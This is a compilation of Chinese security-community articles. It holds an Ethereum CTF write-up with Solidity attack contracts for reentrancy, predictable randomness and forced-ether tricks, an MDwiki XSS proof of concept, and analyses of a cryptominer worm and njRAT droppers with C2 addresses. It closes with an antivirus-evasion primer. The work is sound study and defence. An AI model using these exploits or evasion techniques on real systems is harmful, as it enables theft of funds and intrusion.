constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
balances[msg.sender] = msg.value;
}
function deposit(address _user) public payable ctf{
balances[_user] += msg.value;
}
function withdraw(address _user, uint256 _value) public ctf{
require(_value<=balances[_user], "Insufficient Balance");
balances[_user] -= _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
deposit(msg.sender);
}
}
contract MembersBank is SimpleBank{
mapping(address => string) public members;
constructor(address _ctfLauncher, address _player) public payable
SimpleBank(_ctfLauncher, _player)
{
}
function register(address _user, string _username) public ctf{
members[_user] = _username;
}
modifier isMember(address _user){
bytes memory username = bytes(members[_user]);
require(username.length != 0, "Member Must First Register");
_;
}
function deposit(address _user) public payable isMember(_user) ctf{
super.deposit(_user);
}
function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
super.withdraw(_user, _value);
}
}
contract SecureBank is MembersBank{
constructor(address _ctfLauncher, address _player) public payable
MembersBank(_ctfLauncher, _player)
{
}
function deposit(address _user) public payable ctf{
require(msg.sender == _user, "Unauthorized User");
require(msg.value < 100 ether, "Exceeding Account Limits");
require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
super.deposit(_user);
}
function withdraw(address _user, uint8 _value) public ctf{
require(msg.sender == _user, "Unauthorized User");
require(_value < 100, "Exceeding Account Limits");
require(_value >= 1, "Does Not Satisfy Minimum Requirement");
super.withdraw(_user, _value * 1 ether);
}
function register(address _user, string _username) public ctf{
require(bytes(_username).length!=0, "Username Not Enough Characters");
require(bytes(_username).length<=20, "Username Too Many Characters");
super.register(_user, _username);
}
}
这道题倒是有点意思，乍一看以为是继承的问题，不过在remix上导入后发现出现了两个`withdraw`函数，原来是`MembersBank`合约跟`SecureBank`合约的`withdraw`函数的参数类型不同，一个的_value是uint8，另一个却是uint256，这样这两个函数的签名就不相同了，在合约里也就是两个不同的函数，不过它们使用`super.withdraw`最终都会调用`SimpleBank`的`withdraw`函数。
因为这两个withdraw的限定条件不同，所以就存在了漏洞，`SecureBank`中要求
> require(msg.sender == _user, “Unauthorized User”);
但是`MembersBank`中仅需要是注册用户即可，所以这题的流程就是先调用`register`函数注册一下，然后使用etherscan在挑战合约的创建交易里查看一下合约的创建者，因为合约的ether都存在了它的账户上，然后我们直接使用这个地址来调用`MembersBank`中的`withdraw`函数即可，也就是找到参数类型为uint256的函数，非常简单就不赘述了
## 0x6.Lottery
主要代码
contract Lottery is CtfFramework{
using SafeMath for uint256;
uint256 public totalPot;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
totalPot = totalPot.add(msg.value);
}
function() external payable ctf{
totalPot = totalPot.add(msg.value);
}
function play(uint256 _seed) external payable ctf{
require(msg.value >= 1 finney, "Insufficient Transaction Value");
totalPot = totalPot.add(msg.value);
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
bytes32 guess = keccak256(abi.encodePacked(_seed));
if(guess==target){
//winner
uint256 payout = totalPot;
totalPot = 0;
msg.sender.transfer(payout);
}
}
}
一个很简单的随机数漏洞，直接部署攻击合约
contract attack {
Lottery target;
constructor() public{
target=Lottery(your challenge address);
}
function pwn() payable{
bytes32 entropy = block.blockhash(block.number);
bytes32 entropy2 = keccak256(this);
uint256 seeds = uint256(entropy^entropy2);
target.play.value(msg.value)(seeds);
}
function () payable{
}
}
首先在`ctf_challenge_add_authorized_sender`函数中将攻击合约注册一下，然后即可发起攻击
## 0x7.Trust Fund
contract TrustFund is CtfFramework{
using SafeMath for uint256;
uint256 public allowancePerYear;
uint256 public startDate;
uint256 public numberOfWithdrawls;
bool public withdrewThisYear;
address public custodian;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
custodian = msg.sender;
allowancePerYear = msg.value.div(10);
startDate = now;
}
function checkIfYearHasPassed() internal{
if (now>=startDate + numberOfWithdrawls * 365 days){
withdrewThisYear = false;
}
}
function withdraw() external ctf{
require(allowancePerYear > 0, "No Allowances Allowed");
checkIfYearHasPassed();
require(!withdrewThisYear, "Already Withdrew This Year");
if (msg.sender.call.value(allowancePerYear)()){
withdrewThisYear = true;
numberOfWithdrawls = numberOfWithdrawls.add(1);
}
}
function returnFunds() external payable ctf{
require(msg.value == allowancePerYear, "Incorrect Transaction Value");
require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
withdrewThisYear = false;
numberOfWithdrawls=numberOfWithdrawls.sub(1);
}
}
一个很典型的重入漏洞，注意到此处
> if (msg.sender.call.value(allowancePerYear)()){
> withdrewThisYear = true;
> numberOfWithdrawls = numberOfWithdrawls.add(1);
> }
使用了`call.value`来发送ether，同时余额的更新放在了后面，这样我们就可以重复提币直到清空合约的ether了
部署攻击合约
contract attack {
TrustFund target;
constructor() {
target = TrustFund(your challenge address);
}
function pwn(){
target.withdraw();
}
function () payable {
target.withdraw();
}
}
同样记得先调用`ctf_challenge_add_authorized_sender`将攻击合约添加到玩家里
## 0x8.Record Label
主要代码
contract Royalties{
using SafeMath for uint256;
address private collectionsContract;
address private artist;
address[] private receiver;
mapping(address => uint256) private receiverToPercentOfProfit;
uint256 private percentRemaining;
uint256 public amountPaid;
constructor(address _manager, address _artist) public
{
collectionsContract = msg.sender;
artist=_artist;
receiver.push(_manager);
receiverToPercentOfProfit[_manager] = 80;
percentRemaining = 100 - receiverToPercentOfProfit[_manager];
}
modifier isCollectionsContract() {
require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
_;
}
modifier isArtist(){
require(msg.sender == artist, "Unauthorized: Not Artist");
_;
}
function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
receiver.push(_receiver);
receiverToPercentOfProfit[_receiver] = _percent;
percentRemaining = percentRemaining.sub(_percent);
}
function payoutRoyalties() public payable isCollectionsContract{
for (uint256 i = 0; i< receiver.length; i++){
address current = receiver[i];
uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100);
amountPaid = amountPaid.add(payout);
current.transfer(payout);
}
msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()")));
}
function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
uint256 ret = amountPaid;
amountPaid = 0;
return ret;
}
function () public payable isCollectionsContract{
payoutRoyalties();
}
}
contract Manager{
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function withdraw(uint256 _balance) public {
owner.transfer(_balance);
}
function () public payable{
// empty
}
}
contract RecordLabel is CtfFramework{
using SafeMath for uint256;
uint256 public funds;
address public royalties;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
royalties = new Royalties(new Manager(_ctfLauncher), _player);
funds = funds.add(msg.value);
}
function() external payable ctf{
funds = funds.add(msg.value);
}
function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
funds = funds.sub(_withdrawAmount);
royalties.call.value(_withdrawAmount)();
uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
}
function collectRemainingFunds() external payable{
require(msg.sender == royalties, "Unauthorized: Not Royalties Contract");
}
}
这题代码看着很长，其实要清空合约的balance很简单，因为调用`withdrawFundsAndPayRoyalties`函数时会将对应的`_withdrawAmount`全部发送至`Royalties`合约，而`Royalties`会将其中的80%发送给创建者，剩下的20%发回去，接着`withdrawFundsAndPayRoyalties`中又会将这20%发送给我们，所以我们直接将`_withdrawAmount`设为1
ether来调用`withdrawFundsAndPayRoyalties`函数即可，合约内的交易状态如下
`Royalties`合约在这个交易中的状态如下
## 0x9.Heads or Tails
代码如下
contract HeadsOrTails is CtfFramework{
using SafeMath for uint256;
uint256 public gameFunds;
uint256 public cost;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
gameFunds = gameFunds.add(msg.value);
cost = gameFunds.div(10);
}
function play(bool _heads) external payable ctf{
require(msg.value == cost, "Incorrect Transaction Value");
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
//win
gameFunds = gameFunds.sub(msg.value.div(2));
msg.sender.transfer(msg.value.mul(3).div(2));
}
else {
//loser
gameFunds = gameFunds.add(msg.value);
}
}
}
一个简单的赌博合约，还是利用随机数漏洞，每次猜对可以获得赌注的1.5倍，因为每次下注只能为0.1ether，所以一次的收益为0.05ether，要将合约的ether清空需要20次，那么我们直接在合约中循环调用20次即可
部署攻击合约
contract attack {
HeadsOrTails target;
function attack() {
target = HeadsOrTails(your challenge address);
}
function pwn() payable {
bytes32 entropy = block.blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
for(int i=0;i<20;i++){
if (coinFlip == 1){
target.play.value(100000000000000000)(true);
}
else {
target.play.value(100000000000000000)(false);
}
}
}
function () payable {
}
}
将攻击合约添加到玩家列表即可开始攻击，注意gas要设置的足够高，发送的value在2 ether以上
这样在一个块内即可完成攻击过程
## 0x10.Slot Machine
主要代码
contract SlotMachine is CtfFramework{
using SafeMath for uint256;
uint256 public winner;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
winner = 5 ether;
}
function() external payable ctf{
require(msg.value == 1 szabo, "Incorrect Transaction Value");
if (address(this).balance >= winner){
msg.sender.transfer(address(this).balance);
}
}
}
完成挑战需要合约的balance大于5 ether，但是合约的fallback函数限制了我们每次发送的ether为1 szabo，而1
ether等于10^6
szabo，所以想靠这样发送ether满足条件是不现实的，这里就得利用`selfdestruct`函数在自毁合约时强制发送合约的balance，因为这样不会出发目标的fallback函数。
部署一个攻击合约
contract attack {
constructor() public payable{
}
function pwn() public {
selfdestruct(your challenge address);
}
}
创建合约时发送足够的ether，然后销毁合约强制发送ether即可完成挑战。
## 0x11.Rainy Day Fund
主要代码
contract DebugAuthorizer{
bool public debugMode;
constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}
contract RainyDayFund is CtfFramework{
address public developer;
mapping(address=>bool) public fundManagerEnabled;
DebugAuthorizer public debugAuthorizer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
//debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
debugAuthorizer = new DebugAuthorizer();
developer = msg.sender;
fundManagerEnabled[msg.sender] = true;
}
modifier isManager() {
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
_;
}
function () external payable ctf{
// Anyone can add to the fund
}
function addFundManager(address _newManager) external isManager ctf{
fundManagerEnabled[_newManager] = true;
}
function removeFundManager(address _previousManager) external isManager ctf{
fundManagerEnabled[_previousManager] = false;
}
function withdraw() external isManager ctf{
msg.sender.transfer(address(this).balance);
}
}
可以提币的地方只有withdraw函数，显然必须满足`isManager`条件
> modifier isManager() {
> require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() ||
> msg.sender == developer, “Unauthorized: Not a Fund Manager”);
> _;
> }
看了看第一个和第三个条件，显然是没法满足，只能将目光转向第二个条件，这就要求在`DebugAuthorizer`合约中在刚部署时其地址的balance即为1.337
ether，那么我们又想到了selfdestruct，不过这里合约已经部署，我们得在合约部署前计算出该`DebugAuthorizer`合约的地址，然后再向其发送1.337
ether
我们首先在挑战合约的创建交易里找到创建者的地址，如下
> 0xed0d5160c642492b3b482e006f67679f5b6223a2
这也是个合约，在以太坊源码中合约地址的计算方法如下
func CreateAddress(b common.Address, nonce uint64) common.Address {
data, _ := rlp.EncodeToBytes([]interface{}{b, nonce}) //对地址和nonce进行rlp编码
return common.BytesToAddress(Keccak256(data)[12:]) //利用keccak256算hash，后20个字节作为新地址
}
在该合约的[internaltx](https://ropsten.etherscan.io/address/0xed0d5160c642492b3b482e006f67679f5b6223a2#internaltx)查看一下部署下一个合约时的nonce值，数一下已经成功部署的合约有多少然后+1即可，利用该nonce我们即可算出部署的`RainyDayFund`合约的地址，接着使用该地址和nonce
1即可算出其部署的`DebugAuthorizer`合约的地址
const util = require('ethereumjs-util');
const rlp = require('rlp');
var address1="0xeD0D5160c642492b3B482e006F67679F5b6223A2"
encodedRlp1 = rlp.encode([address1, your nonce]);
buf1 = util.sha3(encodedRlp1);
address2 =buf1.slice(12).toString('hex');
encodedRlp2= rlp.encode([address2, 1]);
buf2 = util.sha3(encodedRlp2);
address=buf1.slice(12).toString('hex');
console.log(address);
然后向该地址发送1.337 ether，然后重新部署挑战合约即可。 | 社区文章 |
原本以为只是腾讯某站点实现的问题，后面黑哥提醒我看源码中 Github 地址，才发现是开源的
[MDwiki](https://github.com/Dynalon/mdwiki) 通用系统。（MDwiki 是一个完全使用
HTML5/Javascript 技术构建，完全运行在客户端的 Wiki/CMS 系统。无需专门的服务器软件，只需将 mdwiki.html 上传到你存放
markdown 文件的目录。）问题出现在程序获取 location.hash 值（正常情况下为 test.md）解析后进行 ajax 请求动态加入页面中。
#### MDwiki.min.js
将压缩后的 JavaScript 解压方便调试，混淆变量暂时不管，n() ：
function n() {
var b;
b = window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 : 1), b = decodeURIComponent(b);
var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
}
变量 b 获取 location.hash #! 后的值并 URLDecode ，随后赋值给 a.md.mainHref 。
#### ajax getURL
var d = {
url: a.md.mainHref,
dataType: "text"
};
a.ajax(d).done(function (a) {
b = a, c()
}).fail(function () {
var b = a.md.getLogger();
b.fatal("Could not get " + a.md.mainHref), c()
})
将请求 a.md.mainHref 获取内容，完成后回调 b 变量为 a:页面内容。
var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
c()
})
e = d(b), b 要求等于 Payload，追 d function:
function d(b) {
var c = {
gfm: !0,
tables: !0,
breaks: !0
};
"original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c);
var d = marked(b);
return d
}
e 值经过 d 函数 –》 marked(b) 函数的渲染后被动态添加到 #md-content 中，导致漏洞产生。
#### PoC
我们可以构造一个页面写入 Payload 需设置 ACCESS-CONTROL-ALLOW-ORIGIN 头：
cat test/mdwiki.php
<?php
header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>
e.g:
<http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/mdwiki.php> | 社区文章 |
# 通过ftp爆破和web嵌入iframe来传播的XMR挖矿病毒
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
先分析一下Photo.scr这个文件，这个文件是一个PE文件，母体没有加任何的壳，可以直接分析。这个程序的资源段附带了一个被vmp加壳的程序，该附加程序为挖矿程序。先分析母体，嗯，已经基本被各大引擎识别了。
构建一个访问网址
打开恶意网址，读取数据，并且检验文件大小是否位0x800字节
访问失败次数小于900次则继续访问
该网址下载了的是矿机的配置文件
该网址下载的是矿机的配置文件，以下检查配置矿机配置文件内容是否正确
如果检查通过，则继续通过一系列的字符串拼接，最终构成可用的挖矿程序参数
接下来，该母体会通过自身资源释放挖矿程序放在用户的%temp%目录下
创建挖矿程序
我们可以看到生成的挖矿程序
执行挖矿程序
挖矿程序使用了vmp加壳的，所以有检测虚拟机和调试器
接下来会将该母体内置的矿池地址写到%temp%\pools.txt
通过添加HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run实现开机自启动
将母体文件拷贝到各个磁盘根目录
接下来该程序会创建很多的线程，通过内置的用户名和密码来爆破ftp，使用ftp来实现自己的传播，将ftp上每个文件夹都上传母体文件
内置的用户名和密码
并且该程序还会搜索该ftp上的所有文件，检索.php. .html.
.asp等常见的web文件，嵌入自己的一个iframe标签，实现通过被攻击用户的web服务下载，增加传染率。
最后，将成功的ftp的用户名，密码，系统等信息上传
**总结**
这个程序在传播模块这里主要关注通过在用户的web页面中嵌入传播标签，实现更大效率的传播。其他的也没什么了。
**矿池地址**
42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ
**IOC**
Photo.src md5: aba2d86ed17f587eb6d57e6c75f64f05
NsCpuCNMiner32.exe3afeb8e9af02a33ff71bf2f6751cae3a | 社区文章 |
# 红队安全研发系列之免杀原理和绕过研究——起始
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言（更新版）
世面上很多的杀软免杀文章，但经过笔者实战，发现一个问题，会有很多方法推荐给你，例如加壳，加花指令等等的方式。本来不会被查杀的程序，被加壳后还被查杀了。这对新手十分不友好。那么有没有一种
**实战** 性强（既免杀率高，免杀效果持久）， **一站式** 的免杀流程和方案来让你制作免杀。并且该免杀方案还能 **保持一些原则**
来增加程序的免杀持久性。答案是有。接下来我们将在该系列中介绍一种一站式免杀流程和方案，让新手更快的学会和应用。
在该系列文章中将 **静态免杀** 和 **动态免杀** ，划分方式为 **是否运行程序** 。主要分为以下两种情况:
1.如果 **放置进杀软环境** 被查杀则 **可能** 为 **静态查杀** 或 **动态查杀** (沙箱查杀DLL，因为DLL并不会直接运行)。
2.如果 **双击** 运行被查杀，则为 **动态查杀** 。
## 静态查杀
静态查杀可以分为两种查杀，一种为查杀 **已知类型查杀** ，一种为查杀 **未知类型查杀**
。其中通过指定文件hash，或文件中存在多个字符串则可以通过指定存在这些特征的则为这一类病毒，以下分别介绍。
### 已知病毒查杀-特征码查杀
**特征码是表示，知乎按照指定模式进行特征匹配的算法，而具体使用什么类型的规则（既各种扫描算法）取决于扫描器**
，下面我们来介绍一种模式匹配规则，YARA规则。YARA是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具，使用YARA可以基于文本或二进制模式创建恶意软件家族描述信息，当然也可以是其他匹配信息。接下来我们来分析一个出名通用远控PoisonIvy的yara规则。
rule PoisonIvy_Generic_3 {
meta:
description = "PoisonIvy RAT Generic Rule"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Florian Roth"
date = "2015-05-14"
hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
strings:
$k1 = "Tiger324{" fullword ascii
$s2 = "WININET.dll" fullword ascii
$s3 = "mscoree.dll" fullword wide
$s4 = "WS2_32.dll" fullword
$s5 = "Explorer.exe" fullword wide
$s6 = "USER32.DLL"
$s7 = "CONOUT$"
$s8 = "login.asp"
$h1 = "HTTP/1.0"
$h2 = "POST"
$h3 = "login.asp"
$h4 = "check.asp"
$h5 = "result.asp"
$h6 = "upload.asp"
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
(
$k1 or all of ($s*) or all of ($h*)
)
}
上述规则说，满足k1或s规则或h规则且大小小于500kb为pe文件的则为poisonlvy病毒。可以从规则上来看，大小，字符串，使用的DLL等等软件构成部分都可以成为检测病毒的一部分。总结一下即
**程序符合特定规则则认定这个程序为指定病毒** 。
### 未知病毒查杀-静态启发式查杀
**启发式查杀是对单一特征码查杀的补充，解决未知病毒查杀**
。早期杀软都是发现病毒，制作该病毒的特征码，但是对于未知病毒就无法查杀，而启发式则是将一类病毒总结后，归纳其特征，其后的演变都为一类病毒，这既是启发式算法。具体启发式算法可以由杀软来定，比如可以使用机器学习把家族病毒聚类，或简单的通过使用通用型yara规则，例如文件大小小于100kb，且没有图标则可以识别为病毒，以此达到查杀壳病毒。例如，有的杀软会查杀main函数中仅仅有几行无效代码。这也是我们经常遇到的
**误报** 。
### 动态查杀
动态查杀同样分为两种查杀，一种为指定类型查杀，一种为未知类型查杀。
### 已知病毒查杀查杀-内存特征
例如，某数字查杀cobaltstrike等知名远控则是通过shell code内存匹配来进行查杀。
### 未知病毒查杀-启发式查杀和主动防御
杀软通过拦截程序运行的api调用，通过api序列，或其是否高危来判定是否为病毒。
举几个例子，
1.Kas针对cobaltstrike的查杀是通过联网URL的地址特征，进行查杀。
2.通过将Dll拷贝到磁盘后，会被沙箱进行行为分析。例如，Dll下载者会被查杀，很明显DLL是没办法直接双击运行，但某些杀软依旧会查杀。
3.注入explorer.exe直接被干掉。
4.Bitdexxxxx会在运行时查杀空壳且名字随机的1.exe,asd.exe，干扰免杀。
**注意：主动防御有的杀软会在断网模式不开启该功能。**
## 免杀流程
## 参考资料：
<https://github.com/Micropoor/Micro8>
<https://lolbas-project.github.io/> Windows白名单列表
<https://www.antiy.com/response/EQUATION_DRUG/EQUATION_DRUG.html>
方程式组织EQUATION DRUG平台解析
<https://github.com/TideSec/BypassAntiVirus>
<https://bbs.pediy.com/thread-252772.htm> 免杀壳编写
<https://bbs.pediy.com/thread-225735.htm> 反虚拟机 | 社区文章 |
# 利用了多种Office OLE特性的免杀样本分析及溯源
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
360威胁情报中心曾在2018年2月发布了[《2017中国高级持续性威胁（APT）研究报告》](https://www.anquanke.com/post/id/98972)，报告指出利用Office漏洞、宏、DDE等相关技术进行APT攻击一直是APT组织的重要手段，整个2017年，先后有多个高危的Office漏洞以及相关利用技术被曝出，其中很大一部分已经被APT组织所使用。将Office作为攻击载体显然已经成为APT组织的首选。
360威胁情报中心自然会对Office相关的漏洞和利用技术重点关注并做持续跟踪，而在近日，基于威胁情报中心的数据，我们捕获到了一批利用多个Office
OLE特性绕过杀软检测并执行宏代码的样本。和大多数的样本一样，这批样本最终会使用Office中的宏代码下载执行相关的远控/窃密软件，而通过我们的关联分析，幕后团伙疑似为ProjectM。
## 样本分析
由于这类攻击样本在此前极少出现，所以相关杀软对这类样本的检出率还不够理想，以我们接下来分析的攻击样本在VirusTotal上的查杀情况来看，59家杀毒软件仅有3家能够检测查杀：
## 样本执行过程
样本原始文件名为：Rigging in Pakistan
Senate.doc（在巴基斯坦参议院索赔.doc），文档打开后会诱导用户允许文档编辑以触发OLE2Link，进而下载执行带有宏的Excel文档：
诱导执行带有恶意宏的Excel文档：
用户一旦单击“启用宏”，恶意宏代码则会继续下载执行窃密木马长期控制用户电脑，整个样本执行流程如下：
## 免杀技术分析
样本使用了多种技巧对抗杀软检测，这从攻击样本在VirusTotal上的查杀情况仅有3家可以检测即可看出，免杀技巧分析如下。
### 静态免杀
#### **页脚中插入OLE2Link**
样本在Office
Word文档的页脚中插入OLE2Link对象以躲避杀软的检测，由于常见的基于OLE2Link的漏洞利用（比如CVE-2017-0199）都是在word\document.xml中插入远程的OLE对象，所以这导致大部分杀软并未检测到document.xml以外的组件中包含的威胁，样本在页脚中插入OLE2Link对象的分析如下：
1.页脚文件word\footer2.xml中包含了一个Link对象，id为rId2：
2.word\\_rels\footer2.xml.rels中可以看到rId2的具体内容：
Link对象指向了hxxp://bit.ly/loleading，而ly是一个生成短链接的网站，打开hxxp://bit.ly/loleading后将跳转至hxxp://www.0-day.us/img/doc/10.doc。于是当受害者打开Rigging
in Pakistan Senate.doc后，WinWord.exe会将10.doc下载并加载。
### 动态免杀
#### 插入Excel.SheetMacroEnabled对象
下载回来的10.doc实际上是一个RTF文档，里面内嵌了一个Excel.SheetMacroEnabled对象，Excel.SheetMacroEnabled是一个启用宏的Excel对象，相当于把一个带宏的Excel嵌入了Word文档中：
下图分别是Excel.SheetMacroEnabled.12对象的对象名和CLSID：
在OleView中查看Excel.SheetMacroEnabled对象，CLSID正是{00020832-0000-0000-C000-000000000046}，并且LocalServer指向了EXCEL.EXE，这表示该对象对应的COM组件是一个单独的EXE组件，COM将通过其远程处理架构（通常涉及远程过程调用（RPC））来将这个exe加载起来，也就是说EXCEL.EXE将会和之前的Eqnedt32.exe一样，由COM直接创建而不是由WinWord.exe启动，这个特点可以有效对抗一些通过进程链来动态检测威胁的杀毒软件的查杀：
## Payload分析
样本通过下载回来的10.doc执行插入的Excel恶意宏代码，恶意宏代码进而下载执行多个窃密木马，相关分析如下：
### 执行宏代码
10.doc内嵌的Excel文档对象被插入了10个恶意宏对象，这样会反复弹框要求用户允许执行宏，稍不注意可能就会中招：
恶意宏代码被执行后首先会下载执行hxxp://0-day.us/img/10.vbs脚本：
并创建一个计划任务每分钟执行一次下载回来的VBS脚本：
最后设置多个注册表键值，主要功能为禁用各版本Office的受保护视图和启用所有宏等：
下载回来的10.VBS脚本会继续下载hxxp://www.0-day.us/img/exe/10.exe和hxxp://www.0-day.us/img/exe/door.exe然后启动执行，并删除之前的计划任务：
### 10.exe
hxxp://www.0-day.us/img/exe/10.exe由delphi编写，实际上算是一层外壳，用于保护里面加密存储的木马程序，代码中包含了许多对抗沙箱、杀软和分析人员的手段，包括代码加密\乱序、检测虚拟环境、路径、杀软进程、分析工具进程、检测调试等等，分析如下：
* exe首先将自身代码解密，把需要用到的API函数存放在申请的内存中，把用esi寄存器保存这块内存地址便于后续调用，然后开始遍历系统进程：
* 接着通过 Mov Eax, 0x40000000 / Cupid 以及 Mov Eax, 0 / Cupid 指令序列来获取虚拟CPU信息，然后将返回值与常见的虚拟化产品的特征值做比较，通过这样的方式来进行指定虚拟机的检测，检测诸如Xen、Parallels、Microsoft Hyper-V、Windows Virtual PC、KVM等虚拟机：
* 接着检查文件路径是否包含”sample”、”sandbox”、”malware”、”virus”、””等字符串，检查进程中是否包含名为”avgsvc.exe”、”avgui.exe”、”avastsvc.exe”、”avastui.exe”、”avp.exe”、” bdagent.exe”、”bdwtxag.exe”、”dwengine.exe”的进程（检测杀软进程）和名为”procexp64.exe”、”procmon64.exe”、”procmon.exe”、”ollydbg.exe”、”procexp.exe”、”windbg.exe”的进程（检测调试分析工具）：
* 通过ZwQueryInfomationProcess以及PEB的BeingDebugged字段检测是否被调试：
* 该PE其实还是一个drop，其会进一步解密释放最终的远控木马：njRAT，njRAT是近年来最为活跃的木马家族之一, 该木马家族使用.NET框架编写,具有键盘记录、获取浏览器密码、屏幕截图、文件\注册表\进程管理等功能，还可以通过控制端下发新的功能插件。但是正是由于其活跃和泛滥，各个杀软对其的分析查杀力度也比较大，所以这里的作者才对它做了重重保护，以期躲过杀软的查杀：
* 解密出来的njRAT的配置信息如下，可以看到C&C是186.136.237:5555
### door.exe
hxxp://www.0-day.us/img/exe/door.exe与10.exe如出一辙，只不过还增加了一层代码进行包裹，不过最终释放的木马也是njRAT，解密出来的njRAT的配置信息如下，可以看到C&C是：aqibseo.ddns.net:777
## 关联分析
我们通过对下载域名关联样本的扩展，以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展，将攻击者与某个特定的APT攻击团伙进行了关联。
## 域名扩展
我们通过访问样本中下载执行恶意代码的域名hxxp://www.0-day.us，可以看到其开放了目录访问权限，其中包含了大量用于攻击的VBS脚本、Office
Word样本以及各种远控木马：
很明显这是一个比较活跃的攻击武器库，并且截止目前还在活跃当中，我们粗略分析了其中的样本，包含且不限于使用了CVE-2017-0199、CVE-2017-11882、恶意宏等的Office
Word文档，包含且不限于包装了诸如njRAT、LokiBot、NanoCore 等的远控/窃密木马。
## 利用威胁情报平台拓展攻击线索
当我们说起APT攻击线索的发现，似乎是一个挺神秘的事，在对事件的分析中，分析人员首先要面对的问题就是对事件的定性，这关系到后续是否要投入更多的精力对事件进行下一步的分析。对事件进行定性的常用方法，就是关联扩展更多的样本以确认其攻击的目的。在这里我们将使用360威胁分析平台（ti.360.net）来对该事件做关联分析，以期对本次事件定性。
本次分析的样本的相关信息当然已经收录到360威胁情报中心的数据平台里，搜索一下其中一个C&C
IP地址：115.186.136.237，我们得到如下的输出页面：
左上角的信息显示了该IP地址已经被打上了被多个漏洞利用以及远控木马使用的标签，地理位置信息则显示该IP地址属于巴基斯坦的一个互联网服务提供商（ISP），它为住宅和商业客户提供服务，而左下角则指向了相关的安全报告链接，这提示该IP地址在该报告中被提及。报告由Palo
Alto于2017年10月27日发布，报告中提到了某个小型的针对美国政府的钓鱼攻击，而其中最终载荷QuasarRAT的C&C就是115.186.136.237，并指出该团伙很有可能是在巴基斯坦的人，直接点击相关安全报告链接可以查看到相关报告：
而我们这次发现的样本名称也与巴基斯坦有所相关，那么本次事件的作者也可能是Palo Alto报告中猜测的巴基斯坦的相关人员。
我们还可以对样本使用的下载站点www[.]0-day.us做关联分析，当然继续使用360威胁情报中心进行关联扩展，输入www[.]0-day.us搜索，查看注册信息可以看到管理员邮箱为aqibseo0@gmail.com：
对该邮箱查询后发现使用这个邮箱注册的9个域名中，有两个域名已经被360威胁情报中心打上了恶意活动的标签，这是一个重要的线索，因为我们可以从中发现更多的历史样本、活动记录，从而完善整个攻击事件的拼图：
其中在fbcom.review这个域名的威胁情报中，我们找到一些历史样本并对其进行分析，其中MD5为d5b551f2fd484a7e753b9e5a1be50f98的样本是名为LokiBot的RAT，其访问了http://fbcom.review/lo/five8/fre.php，在http://fast-cargo.com/images/file/dde/1.exe中被下载，于是关联到一个新的域名：fast-cargo.com
继续点击左下角中的相关安全报告可以看到，相关报告中提到的样本与我们本次发现的样本几乎一模一样，区别只是本次发现的RTF样本是作为远程链接对象被嵌入到另一个DOC中，而不是直接作为投递的文档使用，应该是攻击者的早期版本：
